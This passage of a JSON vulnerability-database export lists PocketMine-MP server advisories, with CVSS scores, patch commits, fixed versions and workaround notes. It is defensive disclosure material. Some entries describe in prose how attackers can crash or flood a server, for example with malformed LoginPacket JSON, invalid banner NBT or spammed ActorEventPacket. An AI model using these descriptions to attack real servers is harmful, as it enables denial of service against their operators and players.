":["GHSA-g5rr-p69h-7v3g","GMS-2022-913"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-b96w-azrg-sqah"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/210674?format=json","vulnerability_id":"VCID-drn3-hfmz-mbgj","summary":"Denial-of-service vulnerability processing large chat messages containing many newlines","references":[{"reference_url":"https://github.com/pmmp/PocketMine-MP","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP"},{"reference_url":"https://github.com/advisories/GHSA-gj94-v4p9-w672","reference_id":"GHSA-gj94-v4p9-w672","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-gj94-v4p9-w672"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-gj94-v4p9-w672","reference_id":"GHSA-gj94-v4p9-w672","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-gj94-v4p9-w672"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/24289?format=json","purl":"pkg:composer/pocketmine/pocketmine-mp@4.2.10","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-21se-t8q9-yudv"},{"vulnerability":"VCID-48ue-wv63-4ugn"},{"vulnerability":"VCID-512n-rhbr-cqcy"},{"vulnerability":"VCID-5ek8-52ek-sqc8"},{"vulnerability":"VCID-5nfj-srxx-8fh7"},{"vulnerability":"VCID-et56-qjpe-2yd6"},{"vulnerability":"VCID-fhba-frv3-nbak"},{"vulnerability":"VCID-k8xn-bve5-duh7"},{"vulnerability":"VCID-nd23-6jpk-qkdx"},{"vulnerability":"VCID-qgtx-5npy-q7c4"},{"vulnerability":"VCID-s99k-v9k6-tkhe"},{"vulnerability":"VCID-v3u1-9zqz-s7h9"},{"vulnerability":"VCID-vdbj-qe43-jqhy"},{"vulnerability":"VCID-vteg-jcfz-4qhs"},{"vulnerability":"VCID-ybn8-byz7-gqb5"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@4.2.10"}],"aliases":["GHSA-gj94-v4p9-w672"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-drn3-hfmz-mbgj"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/139153?format=json","vulnerability_id":"VCID-et56-qjpe-2yd6","summary":"PocketMine-MP versions prior to 4.18.1 contain an improper input validation vulnerability in inventory transaction handling. A remote attacker with a valid player session can request that the server drop more items than are available in the player's hotbar, triggering a server crash and resulting in denial of service.","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2023-7332","reference_id":"","reference_type":"","scores":[{"value":"0.00282","scoring_system":"epss","scoring_elements":"0.5189","published_at":"2026-06-11T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2023-7332"},{"reference_url":"https://github.com/pmmp/PocketMine-MP","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/blob/4.18.1/changelogs/4.18.md#4181","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/blob/4.18.1/changelogs/4.18.md#4181"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/commit/58974765a68f63a9968a7ff3a06f584ff2ee08d2","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/commit/58974765a68f63a9968a7ff3a06f584ff2ee08d2"},{"reference_url":"https://www.cve.org/cverecord?id=CVE-2023-7332","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://www.cve.org/cverecord?id=CVE-2023-7332"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/blob/4.18.1/changelogs/4.18.md","reference_id":"4.18.md","reference_type":"","scores":[{"value":"7.1","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-02T14:17:28Z/"}],"url":"https://github.com/pmmp/PocketMine-MP/blob/4.18.1/changelogs/4.18.md"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/commit/5897476","reference_id":"5897476","reference_type":"","scores":[{"value":"7.1","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-02T14:17:28Z/"}],"url":"https://github.com/pmmp/PocketMine-MP/commit/5897476"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2023-7332","reference_id":"CVE-2023-7332","reference_type":"","scores":[],"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-7332"},{"reference_url":"https://github.com/advisories/GHSA-h87r-f4vc-mchv","reference_id":"GHSA-h87r-f4vc-mchv","reference_type":"","scores":[],"url":"https://github.com/advisories/GHSA-h87r-f4vc-mchv"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-h87r-f4vc-mchv","reference_id":"GHSA-h87r-f4vc-mchv","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"7.1","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-02T14:17:28Z/"}],"url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-h87r-f4vc-mchv"},{"reference_url":"https://www.vulncheck.com/advisories/pocketmine-mp-improper-validation-of-dropped-item-count-allows-remote-server-crash","reference_id":"pocketmine-mp-improper-validation-of-dropped-item-count-allows-remote-server-crash","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"7.1","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-02T14:17:28Z/"}],"url":"https://www.vulncheck.com/advisories/pocketmine-mp-improper-validation-of-dropped-item-count-allows-remote-server-crash"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/381710?format=json","purl":"pkg:composer/pocketmine/pocketmine-mp@4.18.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-21se-t8q9-yudv"},{"vulnerability":"VCID-48ue-wv63-4ugn"},{"vulnerability":"VCID-5ek8-52ek-sqc8"},{"vulnerability":"VCID-5nfj-srxx-8fh7"},{"vulnerability":"VCID-fhba-frv3-nbak"},{"vulnerability":"VCID-nd23-6jpk-qkdx"},{"vulnerability":"VCID-qgtx-5npy-q7c4"},{"vulnerability":"VCID-s99k-v9k6-tkhe"},{"vulnerability":"VCID-vdbj-qe43-jqhy"},{"vulnerability":"VCID-vteg-jcfz-4qhs"},{"vulnerability":"VCID-ybn8-byz7-gqb5"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@4.18.1"}],"aliases":["CVE-2023-7332","GHSA-h87r-f4vc-mchv","GMS-2023-1797"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-et56-qjpe-2yd6"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/211726?format=json","vulnerability_id":"VCID-fhba-frv3-nbak","summary":"PocketMine-MP BookEditPacket crash when inventory slot in the packet is invalid","references":[{"reference_url":"https://github.com/pmmp/PocketMine-MP","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/blob/b744e09352a714d89220719ab6948a010ac636fc/src/network/mcpe/handler/InGamePacketHandler.php#L873","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/blob/b744e09352a714d89220719ab6948a010ac636fc/src/network/mcpe/handler/InGamePacketHandler.php#L873"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/commit/47f011966092f275cc1b11f8de635e89fd9651a7","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/commit/47f011966092f275cc1b11f8de635e89fd9651a7"},{"reference_url":"https://github.com/advisories/GHSA-xc7j-wj36-qjfr","reference_id":"GHSA-xc7j-wj36-qjfr","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-xc7j-wj36-qjfr"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-xc7j-wj36-qjfr","reference_id":"GHSA-xc7j-wj36-qjfr","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-xc7j-wj36-qjfr"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/29548?format=json","purl":"pkg:composer/pocketmine/pocketmine-mp@5.11.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-5ek8-52ek-sqc8"},{"vulnerability":"VCID-5nfj-srxx-8fh7"},{"vulnerability":"VCID-nd23-6jpk-qkdx"},{"vulnerability":"VCID-s99k-v9k6-tkhe"},{"vulnerability":"VCID-vdbj-qe43-jqhy"},{"vulnerability":"VCID-vteg-jcfz-4qhs"},{"vulnerability":"VCID-ybn8-byz7-gqb5"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@5.11.2"}],"aliases":["GHSA-xc7j-wj36-qjfr"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-fhba-frv3-nbak"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/360911?format=json","vulnerability_id":"VCID-k8xn-bve5-duh7","summary":"PocketMine-MP has improperly handled dye colour IDs in banner NBT, leading to server crash\n### Impact\n`DyeColorIdMap->fromId()` did not account for the possibility that it might be given invalid input. This means that an undefined offset error would occur whenever this happened.\n\nThis code is indirectly called during [`Banner->deserializeCompoundTag()`](https://github.com/pmmp/PocketMine-MP/blob/38d6284671e8b657ba557e765a6c29b24a7705f5/src/item/Banner.php#L104), which is invoked when deserializing any item NBT, whether from network or disk.\n\nAn attacker could use this bug to crash a server by providing NBT with invalid values for pattern colours in an inventory transaction, or by using `/give` to obtain an item with NBT like this.\n\n### Patches\n08b9495bce2d65a6d1d3eeb76e484499a00765eb\n\n### Workarounds\nThis is quite difficult to work around via a plugin. Theoretically, it's possible to override the `Banner` item class from a plugin and validate the data before it reaches `deserializeCompoundTag()`.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@pmmp.io](mailto:security@pmmp.io)","references":[{"reference_url":"https://github.com/pmmp/PocketMine-MP","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/blob/38d6284671e8b657ba557e765a6c29b24a7705f5/src/item/Banner.php#L104","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/blob/38d6284671e8b657ba557e765a6c29b24a7705f5/src/item/Banner.php#L104"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/commit/08b9495bce2d65a6d1d3eeb76e484499a00765eb","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/commit/08b9495bce2d65a6d1d3eeb76e484499a00765eb"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-wqqv-jcfr-9f5g","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-wqqv-jcfr-9f5g"},{"reference_url":"https://github.com/advisories/GHSA-wqqv-jcfr-9f5g","reference_id":"GHSA-wqqv-jcfr-9f5g","reference_type":"","scores":[],"url":"https://github.com/advisories/GHSA-wqqv-jcfr-9f5g"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/380022?format=json","purl":"pkg:composer/pocketmine/pocketmine-mp@4.8.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-21se-t8q9-yudv"},{"vulnerability":"VCID-48ue-wv63-4ugn"},{"vulnerability":"VCID-512n-rhbr-cqcy"},{"vulnerability":"VCID-5ek8-52ek-sqc8"},{"vulnerability":"VCID-5nfj-srxx-8fh7"},{"vulnerability":"VCID-et56-qjpe-2yd6"},{"vulnerability":"VCID-fhba-frv3-nbak"},{"vulnerability":"VCID-nd23-6jpk-qkdx"},{"vulnerability":"VCID-qgtx-5npy-q7c4"},{"vulnerability":"VCID-s99k-v9k6-tkhe"},{"vulnerability":"VCID-vdbj-qe43-jqhy"},{"vulnerability":"VCID-vteg-jcfz-4qhs"},{"vulnerability":"VCID-ybn8-byz7-gqb5"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@4.8.1"}],"aliases":["GHSA-wqqv-jcfr-9f5g"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-k8xn-bve5-duh7"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/207445?format=json","vulnerability_id":"VCID-kc9g-pgj4-77gf","summary":"Impersonation of other users (passing XBOX Live authentication) by theft of logins in PocketMine-MP","references":[{"reference_url":"https://github.com/pmmp/PocketMine-MP","reference_id":"","reference_type":"","scores":[{"value":"4.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/issues/4580","reference_id":"","reference_type":"","scores":[{"value":"4.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/issues/4580"},{"reference_url":"https://github.com/advisories/GHSA-h79x-98r2-g6qc","reference_id":"GHSA-h79x-98r2-g6qc","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-h79x-98r2-g6qc"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-h79x-98r2-g6qc","reference_id":"GHSA-h79x-98r2-g6qc","reference_type":"","scores":[{"value":"4.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-h79x-98r2-g6qc"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/18588?format=json","purl":"pkg:composer/pocketmine/pocketmine-mp@4.0.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-21se-t8q9-yudv"},{"vulnerability":"VCID-2sbu-jxum-5fce"},{"vulnerability":"VCID-48ue-wv63-4ugn"},{"vulnerability":"VCID-512n-rhbr-cqcy"},{"vulnerability":"VCID-5ek8-52ek-sqc8"},{"vulnerability":"VCID-5nfj-srxx-8fh7"},{"vulnerability":"VCID-b96w-azrg-sqah"},{"vulnerability":"VCID-drn3-hfmz-mbgj"},{"vulnerability":"VCID-et56-qjpe-2yd6"},{"vulnerability":"VCID-fhba-frv3-nbak"},{"vulnerability":"VCID-k8xn-bve5-duh7"},{"vulnerability":"VCID-nd23-6jpk-qkdx"},{"vulnerability":"VCID-ntjs-ceva-8yas"},{"vulnerability":"VCID-qgtx-5npy-q7c4"},{"vulnerability":"VCID-s99k-v9k6-tkhe"},{"vulnerability":"VCID-ss78-eefn-77fx"},{"vulnerability":"VCID-u9mw-pj6c-b3c4"},{"vulnerability":"VCID-v3u1-9zqz-s7h9"},{"vulnerability":"VCID-vdbj-qe43-jqhy"},{"vulnerability":"VCID-vteg-jcfz-4qhs"},{"vulnerability":"VCID-xjuq-7177-rfc1"},{"vulnerability":"VCID-ybn8-byz7-gqb5"},{"vulnerability":"VCID-yqdh-k9nx-bqbh"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@4.0.0"}],"aliases":["GHSA-h79x-98r2-g6qc","GMS-2022-25"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-kc9g-pgj4-77gf"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/359965?format=json","vulnerability_id":"VCID-nd23-6jpk-qkdx","summary":"PocketMine-MP: Network amplification vulnerability with `ActorEventPacket`\n### Impact\nThe server handles `ActorEventPacket` to trigger consuming animations from vanilla clients when they eat food or drink potions.\n\nThis can be abused to make the server spam other clients, and to waste server CPU and memory. For every `ActorEventPacket` sent by the client, an animation event will be sent to every other player the attacker is visible to.\n\nThis is similar to various other vulnerabilities which were fixed in the network overhaul of PM4 (e.g. `AnimatePacket` and `LevelSoundEventPacket`), but somehow this one slipped through the net.\n\n### Patches\nThe problem was addressed in aeea1150a772a005b92bd418366f1b7cf1a91ab5 by changing the mechanism for consuming animations to be fully controlled by the server. `ActorEventPacket` from the client is now discarded.\n\n### Workarounds\nA plugin could use `DataPacketDecodeEvent` to rate-limit `ActorEventPacket` to prevent the attack.","references":[{"reference_url":"https://github.com/pmmp/PocketMine-MP","reference_id":"","reference_type":"","scores":[{"value":"4.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/commit/aeea1150a772a005b92bd418366f1b7cf1a91ab5","reference_id":"","reference_type":"","scores":[{"value":"4.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/commit/aeea1150a772a005b92bd418366f1b7cf1a91ab5"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-7hmv-4j2j-pp6f","reference_id":"","reference_type":"","scores":[{"value":"4.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-7hmv-4j2j-pp6f"},{"reference_url":"https://github.com/advisories/GHSA-7hmv-4j2j-pp6f","reference_id":"GHSA-7hmv-4j2j-pp6f","reference_type":"","scores":[],"url":"https://github.com/advisories/GHSA-7hmv-4j2j-pp6f"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/373465?format=json","purl":"pkg:composer/pocketmine/pocketmine-mp@5.39.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-5ek8-52ek-sqc8"},{"vulnerability":"VCID-s99k-v9k6-tkhe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@5.39.2"}],"aliases":["GHSA-7hmv-4j2j-pp6f"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-nd23-6jpk-qkdx"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/361090?format=json","vulnerability_id":"VCID-qgtx-5npy-q7c4","summary":"PocketMine-MP vulnerable to server crash with certain invalid JSON payloads in `LoginPacket` due to vulnerable dependency\n### Impact\nAn attacker could crash PocketMine-MP by sending malformed JSON in `LoginPacket`.\n\nThis happened due to a bug in [`netresearch/jsonmapper`](https://github.com/cweiske/JsonMapper). The library wasn't doing proper checks when mapping JSON arrays and objects onto scalar model properties such as strings.\n\n### Patches\nThe problem was fixed in a fork of JsonMapper in dktapps/JsonMapper@a31902a31f5b6fdb832f57c0e3a3f16a3b41c012. PocketMine-MP releases 4.20.5 and 4.21.1 have been released with the fix.\n\n### Workarounds\n- Users of PocketMine-MP source installations may manually install the patched version of JsonMapper by backporting commit pmmp/PocketMine-MP@09668a37d66c6023685a948b7550c918620e98f2.\n- A plugin may also be able to workaround this issue by using `DataPacketReceiveEvent` to attempt detection of suspicious payloads. An `ErrorException` will be thrown in the crash case, which can be caught by plugins.\n\n### References\ncweiske/jsonmapper#210","references":[{"reference_url":"https://github.com/cweiske/jsonmapper/pull/210","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/cweiske/jsonmapper/pull/210"},{"reference_url":"https://github.com/pmmp/netresearch-jsonmapper/commit/a31902a31f5b6fdb832f57c0e3a3f16a3b41c012","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/netresearch-jsonmapper/commit/a31902a31f5b6fdb832f57c0e3a3f16a3b41c012"},{"reference_url":"https://github.com/pmmp/PocketMine-MP","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/commit/09668a37d66c6023685a948b7550c918620e98f2","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/commit/09668a37d66c6023685a948b7550c918620e98f2"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-pqp3-8rrw-g8vm","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-pqp3-8rrw-g8vm"},{"reference_url":"https://github.com/advisories/GHSA-pqp3-8rrw-g8vm","reference_id":"GHSA-pqp3-8rrw-g8vm","reference_type":"","scores":[],"url":"https://github.com/advisories/GHSA-pqp3-8rrw-g8vm"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/381788?format=json","purl":"pkg:composer/pocketmine/pocketmine-mp@4.20.5","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-21se-t8q9-yudv"},{"vulnerability":"VCID-48ue-wv63-4ugn"},{"vulnerability":"VCID-5ek8-52ek-sqc8"},{"vulnerability":"VCID-5nfj-srxx-8fh7"},{"vulnerability":"VCID-fhba-frv3-nbak"},{"vulnerability":"VCID-ht7e-71un-p3b6"},{"vulnerability":"VCID-nd23-6jpk-qkdx"},{"vulnerability":"VCID-s99k-v9k6-tkhe"},{"vulnerability":"VCID-vdbj-qe43-jqhy"},{"vulnerability":"VCID-vteg-jcfz-4qhs"},{"vulnerability":"VCID-ybn8-byz7-gqb5"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@4.20.5"},{"url":"http://public2.vulnerablecode.io/api/packages/381789?format=json","purl":"pkg:composer/pocketmine/pocketmine-mp@4.21.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-21se-t8q9-yudv"},{"vulnerability":"VCID-48ue-wv63-4ugn"},{"vulnerability":"VCID-5ek8-52ek-sqc8"},{"vulnerability":"VCID-5nfj-srxx-8fh7"},{"vulnerability":"VCID-fhba-frv3-nbak"},{"vulnerability":"VCID-ht7e-71un-p3b6"},{"vulnerability":"VCID-nd23-6jpk-qkdx"},{"vulnerability":"VCID-s99k-v9k6-tkhe"},{"vulnerability":"VCID-vdbj-qe43-jqhy"},{"vulnerability":"VCID-vteg-jcfz-4qhs"},{"vulnerability":"VCID-ybn8-byz7-gqb5"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@4.21.1"}],"aliases":["GHSA-pqp3-8rrw-g8vm","GMS-2023-1798"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-qgtx-5npy-q7c4"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/359906?format=json","vulnerability_id":"VCID-s99k-v9k6-tkhe","summary":"PocketMine-MP: LogDoS by large complex unknown property logging in clientData in LoginPacket\n### Impact\n\nAttackers can put large and/or complex structures as a value to an unknown property in the clientData JWT body in the Minecraft `LoginPacket`, causing the server to generate very long log messages.\nAdditionally, the 